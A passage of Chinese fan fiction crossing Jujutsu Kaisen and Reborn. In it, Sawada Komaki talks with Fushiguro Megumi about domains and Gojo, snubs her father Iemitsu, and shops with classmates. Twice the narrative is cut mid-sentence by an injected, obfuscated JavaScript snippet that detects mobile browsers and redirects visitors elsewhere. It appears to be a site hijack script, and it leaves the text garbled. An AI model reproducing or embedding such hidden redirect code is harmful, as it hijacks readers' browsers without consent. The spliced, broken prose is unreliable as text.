五条悟也没有刻意躲避,任由她摘走了袋子里的饮品。 “……”世界上有一杯去枣姜牛乳被浪费了。 有人在旁边说风凉话:“真可惜。” 不。就算这么说也……小莳的喉咙被辣的够呛,她将杯口拿开就止不住咳嗽。生姜……居然还真是给伏黑带的呀,她以为五条悟乱讲话。 伏黑惠体贴接过小莳手上本属于他的那杯,还帮她拍了拍背,虽然这和引发咳嗽的诱因并无瓜葛。 见到五条悟的脸以后,小莳就不想再锻炼。 五分钟以后,她郑重拒绝了项目三。“感觉会被拍下狼狈的照片,然后发生可怕的事情。不了吧,我还有未竞之志,不能死在这里。”社死也不行,一不注意,五条悟就像入侵物种一样重合到她的社交圈里了。 真是可怕的男人。 虽然其中也有小莳放任的原因啦,抛开性格不谈,五条悟人还不错。 晚餐小莳有邀请一年级的其他两人一起来吃,虎杖很是心动,但钉崎野蔷薇把他拉走,说是要带他去找初中同学叙旧。 又是小莳和伏黑搭伙晚餐。 “虎杖人缘不错。”但希望他的初中同学是正常人类,小莳想到这里的时候露出笑意,“伏黑还会和初中同学联系吗?你以前一直在东京。” 伏黑惠有点不自然:“……没什么联系。”他最近掌握了一些讲话的技巧,后面又加上:“因为一直都知道会加入高专,国中时期和同学没什么往来。” 啊,是觉得没有意义就不会做某事的类型吗?这个想法在小莳心上盘旋了一圈,消散了,不,伏黑身上有一种类似于恭弥的特质,看起来冷漠事不关己但做事的时候就格外重视本心,反而不会轻易动摇。 说白了就是脑袋直,认死理,一有想法就发狠了忘情了没命了,谁都拦不住。 也许伏黑也算是孤高的云,也许没有同学足以让他关注。 想出一个自认为合理的解释,这个话题让她兴趣缺缺,“好哦。” 她对生姜算不上偏好和讨厌,但下午那一次打击实在沉重,她觉得浅尝辄止已经很棒了,但坐在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413124|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面的少年总盯着她放置一旁不问津的饮品--那原本属于他,直到她插队喝了一口。 “你很喜欢生姜牛奶吗?”喜欢也没办法,她都喝过了,下次补偿给他好了() “还好,我对甜食一般。”其实不喜欢任何甜食,甚至带有甜味的菜肴也不愿吃。唯独上次的喜久福,两盒8个装,他全吃掉了。 令人郁闷的是在他后来找小莳询问是否是五条老师建议她买来多送他的时候,小莳道:“没有,只是他在我买了以后才和我说杰不吃,正好多送一份给你。” 伏黑惠甚至忘记了和小莳说他不喜甜。 完全没被对方放在心上的感觉吹来挫败的风,认识一个月,她有时的温柔和有时的风趣调侃好似只是顺便,没有人真的让小莳在意。 哦,有个夏油杰,如果说还有的话,那就是五条悟。 而伏黑惠自己,悲哀的发觉自己也没有什么值得被格外注意的地方。 五条悟现在是个笨蛋老师,虽然迟钝,会对学生们说些什么“以后你们也会和我一样”根本没人相信的话,但作为从小被他接手到大的晚辈,伏黑惠深知五条悟更擅长发自内心的打击教育,“这样可要做好被我狠狠甩在后面的准备。”“好弱。”这些说法他从小就熟悉。他不说什么,一是因为恩情--家里最后的钱也被花完了,他即将被送回禅院家,而津美纪不可能会在那里幸福,现在他知道了禅院家的情况,更清楚五条悟说的不假;二是因为从五条悟自身角度来看,其所言是实情,轻浮随意的态度和顽劣的诚实皆因为无需矫饰的强大,至于他后来的鼓励和友善,在伏黑惠看来那反而是非本心的,因此也难以取信他这个听者。 泽田小莳,也是那样一个天才。托五条老师的福,伏黑惠比其他同学知道更多而情报:她接触诅咒的第一夜,就施放了领域展开,在此之中袚除了特级咒灵,诞生于人对人的憎恨和恐惧其中的真人。她还是“可能是世界上最强的幻术师之一”,此言出自五条悟,他还坦言“或许有一天我也会被杀掉,所以要赶紧和小莳搞好关系。”那话要是传出去会造成什么影响伏黑惠甚至不会去想,应该是不亚于涩谷的动荡。她现在又掌握了反转术式,距离来到高专断断续续的学习不过1月。 她喜欢吃口味重的食物,思虑过多时偏好甜食,闲来无事的时候则爱来些可尔必思或者汽水作为调解,她和钉崎也会在一起讨论当季时装和品牌,没听说过的品牌和像是才创造出来的时尚流行词汇咕叽咕叽从她们嘴里冒出来,他沉默地拿东西;她和五条老师拌嘴的时候他就在旁边默不作声的听。 她前进的路会通往何方,她身边的人会有谁,伏黑惠都不清楚,但恐怕这两个问题他没什么干系。 伏黑惠在他有记忆的日子里也被不少人当成过天才,觉醒术式后被五条悟带到禅院家销账,家主想要越过五条悟接手,找派系的人说了些好话,而那些人听闻他术式后眼中的恭敬和谄媚是真;初中时候被打服的不良说不定也觉得他很厉害;还有他今年入学即被评为二级--这其中说不定也有禅院家的功劳,相比之下真希前辈就……他的姓氏甚至都是生父随便入赘一户人家来的,却得到如此肯定。 但被判定为天才的本人清楚,他从被五条悟带到身边后,就是长近十年的仰望。真正耀眼的人让他望洋兴叹,小莳会在意五条悟而不是他,这再正常不过,至于他的生父…不熟,大概只是那人比较会和女性相处吧。 而且涩谷那天……如果不是五条老师赶到,还有那人从失去意识的状态下醒来,他会用魔虚罗和他同归于尽。那也是个强者。 他想着理所当然,心却摇摇欲坠,他想着节制克己,却在对方抬头有些诧异的目光还有说出的:“我以为你挺喜欢的呢。”深深误解的话语中……产生了一种滞留在漫长负面情绪中的反抗之意。 他说:“我并不像五条老师那样。” 而小莳朝他露出一个缱绻带着抚慰的笑:“好呀,我知道了,谢谢你告诉我,以后我给你带其他的伴手礼。” 57. 第 57 章 小莳想着他是不是到叛逆期了,有点反抗父权的那种。她其实并不关心伏黑惠和他五条老师像不像,而且根本不像…… 顺着他讲呗,她随和。 晚餐结束,小莳换了个盘腿的坐姿,靠着椅背吃甜品,话题进行到了伏黑惠的领域,正好五条悟在此前建议过小莳,有机会可以和目前唯一一个有领域展开经验的学生多聊聊。 她以手支起下巴,认真听:“那你当时是怎么样的心境呢?” 伏黑惠坦白:“原本想执行调伏魔虚罗,但想到了一些事,意识到了让影子布满空间的可能性,于是出手尝试。” 所以领域里是可以无限召唤出式神吗? 伏黑惠回答在咒力范围内都可以,还可以利用影子制造替身,只是没有完全体领域的必中效果。 小莳给出了中肯评价:“那很厉害,如果能调伏到更多后面的式神会更强。”令她想到一些‘我的卡我的卡还是我的卡’的卡牌游戏。 关于想到了一些事的内容伏黑惠一嘴带过,小莳在意这部分,又问一遍:“你想到了什么?” ……伏黑惠迟疑,然后说出了两校交流会以后自己主动去和老师寻求指导的事情,还有入学两周后虎杖悠仁【死】过一次,那期间宿傩和他的话。 除了被弹额头和被阴阳了一顿的事情外,全盘托出。 “活了一千年,脑袋居然也还好使,第二次露面就想好了对策。”小莳的注意力被宿傩那部分吸引。他第一次受肉成功但意外会被压制,下一次立刻就掏心,吓人捏:“这么聪明的家伙绝对会趁机立对自己有利的束缚。” 而且,用反转术式修复心脏……彼时2根手指的宿傩就不容小觑,可以想见千年前全盛时期近似灾厄的完全体。并不是说不存在那种情况,只是人类诅咒师也很难脱离时代背景独树一帜的强大,更何况他终被封印。平安时代中后期的日本大概挺凶险的,除了名字以外都不太平安。 “嗯,但虎杖不记得了,也许是束缚的内容里就包含遗忘。” “我猜是包裹可疑外衣的陷阱,虎杖挺有良心,不会答应他认为不合理的要求,但可欺之以方。”小莳学习咒力后,对强大的存在也有了觉察,更何况宿傩本来就让她直觉不妙,十分在意。但没接触过,只能从伏黑惠的只言片语中搜罗些认为有用的信息,终归有限,她不再执着于宿傩:“他一眼就看出了你的天赋,毕竟是千年妖怪级别,不过比起宿傩不怀好意的话,动机上果然还是要选择站在人类这边的五条悟,而且他也有瞩目的力量。” 小莳接着说起了有关五条悟的事情:“其实他在指导的时候应该是有把自己摆正在【老师】的位置上,但一直以来以跳脱乖张的形象示人,如此反而会让被教导者感到迷惑。”五条悟有的时候会故作严肃然后下一秒哈哈大笑嘲笑对方真的相信,也算是狼来了专业户。现在学生认可他作为最强,但都不像师长一样尊敬他。 大概,除了虎杖? “你很信赖五条老师?”伏黑惠察觉到了小莳话中隐隐对老师的偏袒,动手时不慎碰掉了搁在碗上的筷子,啪嗒一声掉在桌上。 “他这个月挺可靠的,因为答应过不在我面前发疯,信他一次。”小莳竖起手指,“而且他带墨镜的时候比眼罩扫把头外观讨人喜欢多了,而且要我说他最美丽的也就是那双眼睛。他一直开着无下限,眼睛也总是Kirakira的,好看!” 好淳朴直球的外貌协会。伏黑惠想起钉崎给他出的主意,多在外观上下心思……吗,当时他毫不在意的抛在脑后了。 “当然,如果只是笨蛋美人,那他的话不足以取信。”只能观赏不能乱听,小莳结束了甜点,站起身伸了个懒腰,伏黑惠在对面清晰地望见她因为拉伸而抬高的单衣下裸露的腹部肌肤,还有被背景白墙勾勒明显的腰身。“要出去散步么?” “……” 伏黑惠的沉默还有不移的目光让小莳转头看身后,那里什么都没有:“?” “好的,我们出去走一圈。”小莳转眼回去的时候只看到伏黑惠有点像落荒而逃的背影。 高专有夜灯,但不多,到了夜晚黑黢黢的小道就阴森起来,小莳还没养成把咒力聚集在眼部的习惯,这会也不得不倒逼一下学习进程。 她看见了站在宿舍楼出口处的伏黑惠,“你的领域也是这样一片漆黑吗?” 伏黑惠目前对领域掌握尚不熟练,只是脚下,他说。 小莳懂了,深海恐惧的情形,突然从底下钻出来些大东西,作为人类绝对会下意识恐惧。不知道咒灵会不会被吓到,考虑到它们诞生的情形五花八门,又是来自极富创造性的人类负面想象和情绪,说不定不会。 “你刚刚想说五条老师什么?”他问,他心里早有预料,但仍然想知道关于她评判标准的更多的事,这和五条老师没关系,仅仅只是……想再靠近一点的私情。 “我想说他确实很关心你,说的话也有可以供参考的地方,而且,他有的时候还蛮能启发人的。”很符合他的名字,悟。小莳用肩头轻碰伏黑惠的手臂,“你是不是对他有点意见?这很正常,只要不让这份情绪变成偏见就行。”该听的还得听。小莳想到,自己所认识的男性中,具有近似于【父亲】形象的,勉强靠谱的只有夏油杰一个,说是勉强那是因为他认真勤勉负责的教孩子们和他一起毁灭世界,大方向出了点偏差。 赤司征臣泽田家光,不合格;伏黑甚尔,父爱消消乐太突然,和杰类似,他们自己的问题都没有处理好,当然难以应对亲密关系,不过他大概也没想着应对,经典冷处理,小输一手;然后就是五条悟,听杰说他高专在读那会性格更差,现在好歹是真心会关注学生了。 夏油杰还说:“不过悟的关心大多基于邀集,放在心上视为同伴的,应该也稀少吧。”这话小莳没太听明白,她当时随口应了一句:“不是有你一个吗?” 他就笑着不说话了,大概有点心酸的否定,但又顾虑一些不存在的事情不好多说。嗯,掌管谜语和内耗的神。 伏黑惠的名字带有一种与实物不符的参差,但倘若是说他巧遇恩人,这惠字也没太离谱,尚算吉利。小莳和他娓娓道来那次和禅院真希一起袚除后的事情。 五条悟到现场的时候就发现那咒灵并非二级,但他维持了原先的说法,没有告诉她实情。 小莳听说禅院真希可以轻易袚除二级,手上确有未完成的事项又懒得和禅院真希搭伙,索性不去管。直到她结束后到现场,被术式命中,才知道这是一级。 回到高专后,她就和五条悟说明了情况,谁知道他一脸失望。“你可以多信赖一下自己作为咒术师的天赋,关于咒力的来源研究进展寥寥,但毫无疑问那和大脑有关。”他没有说完的话全在点在她额头的食指上了。 “多想想,小莳。” 她能拥有天赋异禀的脑域而成为幻术师的佼佼者,这份天赋在成为咒术师的领域中也能大放异彩。 “那东西的术式类似于精神迷惑,怪不得能勾引小孩和他玩。我小时候要是能看到这么个恐怖谷的玩意绝对会跑的远远的。”小莳谈到这里仍然露出了异样的神情,“它察觉我意图以后立刻就发动了术式,但我专业对口基础牢靠没受到影响。顺利出手,带走。”只是诞生不久的咒灵,狡猾与手段都有限,最终也只能在聊天里成为谈资。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413125|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 伏黑惠听到这里,觉得这和真希前辈说的险要情况完全不同,小莳说的轻轻松松,仿佛那就是日常里不值得回首的区区小事。 现在,目空一切的天才和他在黯淡的夜晚于高专漫步,她露出微笑:“咒术师的进步不总平缓,一点机遇,一点对手,一点领悟,足矣。不必困于级别的设想,只是一直走一直走就很好。当然,这样的话我也只和你说,我没有在伏黑身上看到天花板,你大可以像悟建议的那样,再自由一点。” 天赋此事从无公平可谈,有人以一生为代价钻研出的成果,不过天才脚边砂砾,在小莳看来伏黑惠很幸运的生来就避免了这种苦罚。 她接着说:“所以我后来袚除那个货真价实的二级时没有用幻术,在合理范围内更相信自己一点,不是什么坏事。”诶嘿,还截胡了禅院真希的涨工资,好好好! 伏黑惠停下了脚步,过一会小莳独自走了一段路才反应过来,回头:“怎么了?” “刚刚的话,是五条老师托你说的吗?” 你们叛逆的少年是会脑补的。 小莳对他摇了摇头:“当然不是,只是经过一段时间的相处,和伏黑的关系还不错。都是我的真实想法哦,我以前也有不少学习和战斗的经验,但到了新的领域还是要像初学者一样谨慎行事,一不小心就会进入误区。我以为你也有相似的困扰,正好你先前讲到悟说的话,才说这些。” 五条悟确实有他的可靠之处,比如一次外勤点化了两个人,禅院真希在那之后也好像也受了什么点拨,她没多关注;还有关于虎杖悠仁的亲情关系,他也比较重视,最后算是成功把胀相拉到了人类阵营,高层不知情的那种。但他一向比较自信,尤其是在人格魅力方面,所以……他是真觉得自己能包教包会,不会想到假手旁人。 从伏黑惠这个反应来看,就知道他心境教学大失败。说不定伏黑展开领域主要是来自陌生可疑千年诅咒的那句自信笃定的:你不需要逃跑。小莳想到这里忍不住笑意更深。 天赋此事从无公平可谈,五条悟没给话疗加点。 伏黑惠:“……” 眼前的女孩绽放笑靥,她的目光在他身上,思绪却在别处。她在想什么高兴的事情吗?是他无趣又不够鲜活,没能吸引她,大概。 然而他深深沉迷,比起她嘴里说出的字句,更令人意动的是她一颦一笑一个回眸,也需记住:过分陷溺是不被允许的,在她轻声言语之间伏黑惠意识到,自己还有一场对话要回应。 陀螺一样打转的思维重新压制发散的心,他努力思考小莳话语中的内容,而她的表情也变得疑惑,似乎在无声询问:“我讲话有那么难懂吗?” 他们关系不错,有相似的境遇,她并非受人之托而是主动说这些。他的心不合时宜又泛起酸胀感。 伏黑惠今晚不太在状态,这事没能引起小莳注意,只是结束后,在楼梯口,质量不怎么好的灯散射白的晃眼的光,投在木台阶上就变成了油亮的棕,那上面木纹依稀可见。往上走了两步,小莳回头,往下看着没有离开的伏黑惠,两人的目光相接。 但伏黑惠的眼睛本来就很美,惨白的灯光也没对他的外貌造成打击,这孩子有张天生丽质的脸,小莳想到,五官确实几分像他父亲。她说:“关于你,伏黑,你可能觉得你和五条悟相距甚远,甚至把你自己身上的亮点有些归功于他,但实际或许并非如此也说不定呢?你身上也有难以遮掩的地方,也有吸引人的地方,你生来就带有强大的术式……我只是觉得你应该知道这个。” 她说完就转身回房休息了。更晚间的时候,在一楼倒数第二个房间,有人辗转反侧,按捺不住心跳。 58. 第 58 章 伏黑惠后来也没找她烫头,小莳自己反而对头发起了心思,早就掉回了初始白毛,发型经每日清晨奈亚悉心打理,洗发后及时上精油和柔风半小时吹干,仍然维持饱满的样子。 她决定在原本修剪的基础上,去烫点卷,从水母头改换门户,变身鲻鱼头。 新发型异常受到女性同学的喜爱,野蔷薇喜欢极了,连禅院真希看见她都会多看两眼。承诺了下次带野蔷薇过去一起做造型,回复了虎杖的“好像没看出什么区别”,小莳看向伏黑惠,伏黑……伏黑脸红了。 小莳自信帮他拟好了观点:估计也觉得好看,但是不好意思夸。 反正他不参与群聊也非一两天的事情,只是在他们两个人的时候倒是话多些,可能他并不爱说话,可也不习惯安静。 下午罕见的连乙骨忧太都在,一二年级一合计,准备去周边最近的商圈逛逛,小莳被胖达和野蔷薇邀请。虽然熊猫一向高情商,但这次主动提出多半是禅院真希让的,她现在友善到小莳有点不好意思叫她禅院同学。 然后小莳开口就是一句:“禅院同学好宠我捏。” 鸡飞狗跳中,一行人一起走到礼堂处,小莳在这看见一位故人。高专校长夜蛾正道和一个她没见过的老人正和那人相谈甚欢。 学生们的问好打断了他们,也让原本带着商务微笑的金发小麦肤色男人回头,和小莳奇怪的视线来了个空中对接。 学生们的招呼打完了,小莳不欲和熟人对话,挽上野蔷薇的胳膊,准备就这样转头走掉。 “小莳,不和我打招呼吗?难得在这里偶遇。”身后传来成熟男人爽朗的声音,熟稔亲昵的语气打破了营造的商业精英氛围。虽然小莳觉得他故作亲热的傻瓜样子像是年纪大了被企业优化以后出来卖保险的。 怎么说呢,老龄化让50岁的人看起来年轻了,考虑到有人80岁还在开出租车这一事实。 小莳拉着野蔷薇又走了两步,直到和前面站着不动的学生们距离变得进无可进--他们都停下脚步了。 男人的服饰细节透露出出了经济实力以外的信息--他西服后腰处的褶皱,敏锐的人不难推测出其下或许有枪,他撩开外套的一角,手只是撑在腰上,然后锲而不舍和小莳说话:“如果我没记错的话,现在应该是上课时间,不要总是翘课啊,奈奈说你每天都在和同学们一起学习。又是人偶吗?”他说话的样子好像他们很熟一样。 他好烦,小莳翻了个白眼转身:“呦,门外顾问。不该你管的事情少问少说,反正你记清楚两年以后我会是我家第一个大学生就行。”这里头都是事儿,下岗工人管那么多干嘛? 门外顾问,算是是彭格列的应急组织,保险栓,在平常时间并不归首领统辖,然而在家族非常时期就能行使仅次于首领的权力。同时,在选拔任用下任首领时,门外顾问和首领具有等同的决定权。 伏黑惠在想这人的身份,小莳看起来似乎有点讨厌他,他得出的结论是级别略微高的同事。 “好歹叫我一声爸爸吧。” 感觉被目光包裹,小莳直直盯向泽田家光,眼神传达责任和不满:“有一种留下的案底被掀翻的感觉,你就一定要在公众场合让我难堪吗?” “别这样,你七岁的时候我还抱过你呢。” 上一次听见这么好笑的话还是上辈子被没收银行卡。小莳转过身去,像驱赶一样甩了甩手,然后招呼着朋友和同学们“快走快走,饿了,想吃点甜的。今天小莳大小姐请客。” 经此一遭大家的关切与窥探欲都达到了顶峰,主要是前者,连不太熟悉的乙骨忧太也向她投来关怀的眼神。 这真的是……大可不必。 说到这里在场各位的父缘关系好像只有熊猫可以算得上OK,其他人都…而且他严格来说也只是夜蛾正道的创造。 看来这是来到了一个男人不适合当爹的世界,她想。 小莳一句话解释了一下:“我四岁的时候他想把我关监狱。后来他不想关了,但这关系很难再好起来。” 所以说乙骨忧太和虎杖悠仁都是好人啊,死刑起步还勤恳打工,那边机械丸已经学会了任务摸鱼带薪画图纸了。五条悟真是个以身作则纯良老师,任劳任怨的自己带出了任劳任怨的纯良学生。 ……在场其他人都沉默了,走到高专门口,平常和她聊得最多的野蔷薇才在众多人的戳戳背,拍拍肩,捏捏手的疯狂暗示下站出来:“那个,就是,具体是发生了怎样的呢?” “世界变动的时候发生了一些意外,我过早、过快见识了纷至沓来的、小朋友不该知道的事情,对我小小的脑袋造成了一些打击。最后发生的事情和乙骨同学那时有点像,只不过没有一个人真的收到伤害。物理上。”幻觉造成的心灵损伤就不知道了,从这点上来说幻术的伤害不小。 “但这个现在自称是我父亲的人当时想把我送出去祭天,他年纪大,掌权早,那会我哥还没有足够话语权,所以他差点就成功了。那监狱--很久以后我还去实地考察过,哇,就是把人泡在高浓度药水的培养皿里昏迷。我才不想孤零零、赤裸裸漂浮在那里直到最终有人大发慈悲决定放我出来。”有什么理由要原谅一个知道并非她过错,却仍然选择让她牺牲的掌权者,小莳想不出来,“可以理解这是在变革时期□□权衡的选择,但我也要有保持不体谅的权利才对等。”想伤害别人,怎么能不做好可能会付出代价的准备呢? 她现在还尊称人一声门外顾问,这也太礼貌了! 众人:黑手党家族的故事还真是复杂至极。 小莳料想他是来洽谈合作的,啧,这几天先不回家了。晚些给夏油杰发消息问下情况。 上了附近的公交车才知道,去往的地点居然就是私立百花王学园附近的商业中心。虽然总是被奈亚带回的食物投喂,但亲自前往还是第一次。 白天也不停歇的喷泉景观,提前一周多就开始布置的巨大圣诞树,这里的繁华程度甚至超过东京市区。看来她学籍所在地的生源是真的极佳,仅仅是上学就带动了区域经济。 等等,所以奈亚说的有人欠他一个亿不会不是在开玩笑吧。什……爸妈赚点窝囊费真不容易,你们不要再赌辣。 去年的圣诞节小莳和前男友看了魔术表演,今年……泽田家光很有可能春假也会逗留在并盛。真是不幸,唯一的好消息是咒术师全年无休,因此高专也没有严格意义上的假期,学校一年都对学生和咒术师开放。比起周边房间谁也不认识的酒店,还是能聊天能群聚的小伙伴在身边比较令人愉快,这段时间和奈亚一直在宿舍,如果到时候学生们都有时间,那就再提议出来聚会好了。 小莳掏出手机给奈亚拍了几张照片,大小姐驾到,下课直接来汇合。 接下来的行程除了分歧,野蔷薇看见买手店就有点走不动路,正好最近没怎么安排购物计划,而且她顺利生了准一级,现在钱包鼓鼓。 本来一二年级的聚会男女生都会分开来活动,一般女生也就是野蔷薇和真希,今天小莳来了,野蔷薇强势拉着伏黑惠的胳膊让他帮自己拎包。而他选择了默认。 “可是我想和伏黑一起看电影,还有卡拉OK。” 野蔷薇为同学追爱路上的拦路虎竟然是好兄弟而恨铁不成钢:“你自己去看啊!干嘛粘着伏黑,而且谁会在大白天唱K!” 虎杖很老实地回答:“我会啊。去游戏厅也行,我看见那边有游戏厅了。”他指后面方向,提出了第二个选择:“伏黑,你选她还是选我。” 野蔷薇:怎么还演起来了,我的第一印象果然没有错! 经过一番磋商与交流,最后的分组是1、不知道他们要干什么组:虎杖悠仁、禅院真希、狗卷棘、乙骨忧太;2、恋爱购物小分队:钉崎野蔷薇、泽田小莳、伏黑惠、熊猫。 熊猫的加入始于一个意外的巧合。 没什么机会展露前辈力的乙骨忧太主动提出要和伏黑惠一起加入购物组,他是有配平意识的,希望组成一个4+4队伍。 野蔷薇其实不介意这个寡言的前辈,还是伏黑唯一尊敬的,想来也可靠。但她看到了真希前辈似乎是想要开口加入,最近真希前辈格外在意小莳,总觉得如果她加入进来伏黑就没有说话机会了,而真希前辈提出以后,乙骨前辈多半不会拒绝。机智的她在分秒之间的思考后提出:“我觉得胖达前辈很好,强壮、高大,适合拎包。”而且胖达前辈情感丰富也很会照顾人,更重要的是他很会嗑cp,只要向他悄悄说明想要撮合伏黑和小莳的事情,他绝对会配合。 计划通。 而且如果能打发小莳和伏黑自由行动的话,胖达前辈还能帮自己拎包,野蔷薇:wakuwaku,我是小天才。 大家约好五点半在小莳推荐的店里集合,她已经定好了包间,在此之前都分组行动就好。虎杖抱怨了一下朋友的沉默致使他们分开,然后兴冲冲地往游戏厅跑了。 小莳:“这就是传说中的3秒50米吗?名不虚传。” Woooo没遇到诅咒的话以后应该是很厉害的运动员然后名利双收吧。 “呜呜,小莳,说好今夜要为我的眼眸干杯的呢,你怎么能看别的男人!” “……不,我不是女同。”话说野蔷薇怎么这么激动。 “你看虎杖干什么!他很好看吗?”野蔷薇佯装气势汹汹,实际上已经开始准备以此为引子探听小莳喜欢的类型,她真是个恋爱小天才。 “五官的话,确实有几分帅气呢,而且是元气男高类型,声音语气也很可爱。而且他有的时候会讲出直击人心的话诶,会让人产生那种‘啊,好敏锐’的反差。”简单来说,要不是不讲卫生吃了个宿傩手指,虎杖悠仁是小莳愿意交友的对象,不为别的,和这样的人交流至少会让她心情愉悦,收获情绪价值。 “……”恋爱小天才不敢看同学的表情,这和她想象中不一样。元气男高、讲话可爱、直击人心,伏黑有一条是沾边的吗?唯独五官还挺帅气。这四分之一的命中也太糟糕了,“那那那,恋爱呢,小莳会偏好什么类型。” 小莳张口就是一句:“没有恋爱经验的黑发帅哥。” 好!伏黑完全符合,野蔷薇握拳,然后就听见小莳接下来说的一连串:“要会做家务,做饭洗衣服铺床都算基础的,最好有驾照;做人也不能太失败,具体表现为人际交往方面,离群索居和半天说不出一句话的果然还是算了;最好实力强劲一些,不然就算跨过了垫底的心理准备也可能遭受一些家族内部的物理无妄之灾;还有要喜欢小动物,会做猫饭狗饭兔子饭会自愿铲屎那种,因为我以后想要养宠物,但是不愿意收拾;性格的话,我偏好乖巧听话一点的……不过开始恋爱的话,其实只要是开头那一条就行,后面不合适直接分就好了。” 她扳着手指头分条罗列,最后齐握成拳,回头笃定自信地告诉了野蔷薇最后一句:“没错,最重要的还是长得好看。” “小莳,你是在开玩笑的对吧,对吧,对吧?”伏黑,咱们就是说这个恋爱你真的想谈吗?野蔷薇听起来不太妙,泽田小莳性格里说不定真的有类似五条老师的自我主义的地方。 噫,和五条老师那种的恋爱,随机吓死一个未来模特之星。 小莳摆了摆手:“真实谈起来还是要以个人意愿为主,不是网络上有说法,有些女孩子说着要找又高又帅又有钱的,最后却找到了河童,被冷暴力被骗钱被绿都不离不弃。我反诈意识比较强,但不排除这种可能,毕竟我上段恋爱就和鬼附身似的。我这一生最讨厌的男人就是我父亲那类,结果--”伏黑甚尔两端都沾。 伏黑惠还在现场,小莳及时刹车不说了,只是向野蔷薇眨眨眼:“感情中我也许会有点不理智,但是我的高标准审美又弥补了这一点。” 说到恋爱,单身的人就容易想到前任。而伏黑甚尔是她唯一的前任,每次都得出来散一圈步。先前的喜欢是带着盲目的想当然,确认关系以后的四个月确有其事的甜蜜,是她回想起来都会对事不对人到觉得快乐的程度,但后面就……糟糕,她和野蔷薇说着不会乱谈恋爱,实际上心里又想谈一场更好的覆盖掉前面的案底了。 这就像大学二流然后研究生来凑一样,不失为一种亡羊补牢。 但这样的话她下一个男朋友岂不是有点惨,听起来像个工具人。嗯……运气好的话说不定能结婚,那也算是下一任的福气和机缘,好吧,这很公平,她并没有特意封闭自己的心,谁能走进去全靠本事。 钉崎野蔷薇觉得这话题有点进行不下去,她单知道咒术师没什么正常人,竟不知幻术师也一样清奇。一个偏好贤惠老婆型男性的女高,一个喜欢上生父前女友的男高,如果这是搞笑番设定那有几率畅销,纯爱的话就算了吧。话说伏黑这算是祖传口味,那小莳算什么,父系阴影吗?伏黑的父亲是那种类型的男人吗?是的话他们伏黑家也算基因突变了吧,那这对女性的偏好怎么还如此一致,一致到一个人头上了啊喂! 逛了两家店以后,她决定把一切都抛到脑后,没道理她这个做助攻的要比追求者本人辛苦。她拉扯每家店都要解释一遍“朋友大冒险输了所以今天要穿玩偶服一天”的熊猫,和他说了如此这般情况。 熊猫:“真的假的?” 野蔷薇沉重点头。 小莳洞察到野蔷薇忧伤的心情,还没来得及问,她和伏黑就被打发去再分组自由行动了。 “?”不,发生什么事了?怎么伏黑也被丢出来了,“sorry,可能是面试失败,被踢出姐妹会了,结果你也连带没有offer。” “……没关系。”伏黑惠有些不适,并非是对小莳的话反应,而是他意识到或许自己完全不是会受她喜欢的类型。他心里的渴望与冲动,以及理智分析得来的情报交织,像浪花的波动拍打又起伏,他们冲突,是白浪拍礁,一次一次侵蚀海岸。 心跳和情感都因她丰沛起来,可她毫无意识。他在意得像蝴蝶要从茧里破出,飞出他口,她还能幽默说着风趣话。 一点点也好,她通透澄澈的心就不能稍微反射一点他泄露出来的悸动,快察觉,快意识到,快思考啊。伏黑惠忍不住会在心里埋怨,但他又想到勇敢的人会优先袒露自己的心意,他此般敏感到不敢露声色,希望对方自己发现的行径实在也缺乏真诚。 他说:“我帮你买个可丽饼,刚刚在高专你说想吃甜食的。” 十分钟后,小莳用勺子挖了一块刚打到顶端的冰激凌,“为什么突然买给我。” 伏黑惠拉起衣服领子,声音有一 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而奈亚的本体形态不同,那是她在十岁的时候有意识设想,构思,又添加了很多那时正好在看的克苏鲁元素,还有不知道什么时候根植心底的偏好……年岁久远,很难讲这是什么流程。 小莳骄傲地向她介绍:“是我亲自捏的脸,简直是鬼斧神工级别的伟大,仙品。” 野蔷薇:“你托着他下巴的样子好那个。” 小莳:“细说那个。” “……” 餐后小莳安排自家造物去结账,婉拒了想要A钱的学生们:“说好我请客的啦,之前吃过这家店的外带,正好今天有点想念红酒炖牛尾,带大家一起来尝尝。” “小莳,你日常的饮食难道都……”野蔷薇盯着印出不可思议数字的账单,狗卷和胖达一左一右看她从助理手上拿过的长条。 “要么是回家吃,要么奈亚做饭,要么就是他放学后给我带。”出校门走五分钟就是商场,提前电话或者信息预定很方便:“不过我比较喜欢吃他做的,味道会更好。” “诶?比这么高级的料理店还好吃的饭菜?!” “是哦,我以前的朋友在日本第一的料理学府以第十席的身份堂堂毕业,后来去了很多国家和地方,进修料理,最后回老家继承家里店面了。在我离开前她给我写了超厚一本食谱,主要是她擅长的乡土料理,还有一些法餐和甜食什么的。非常有用。”明年一定回去看看。小莳说着给虎杖悠仁画饼:“下次奈亚做菜的时候邀请你一起来吃,正好宿舍就在楼下。” “我也想我也想!” 小莳端水:“那也邀请野蔷薇,我稍微改造了宿舍,空间上有不少余裕,可以一起吃呢。” 野蔷薇有机会不忘拉扯兄弟:“可以带伏黑一起来吗?” “啊,我每次都有邀请伏黑来着。”而且他几乎每次都会来诶,估计也挺爱吃:“说到这里其实我想说伏黑每次嘴里塞着东西讲话就是会有点与年龄相符的年轻感觉,有人同感吗?” 无人举手。 野蔷薇眼睛在冒火:“伏黑……” 伏黑惠:“……” 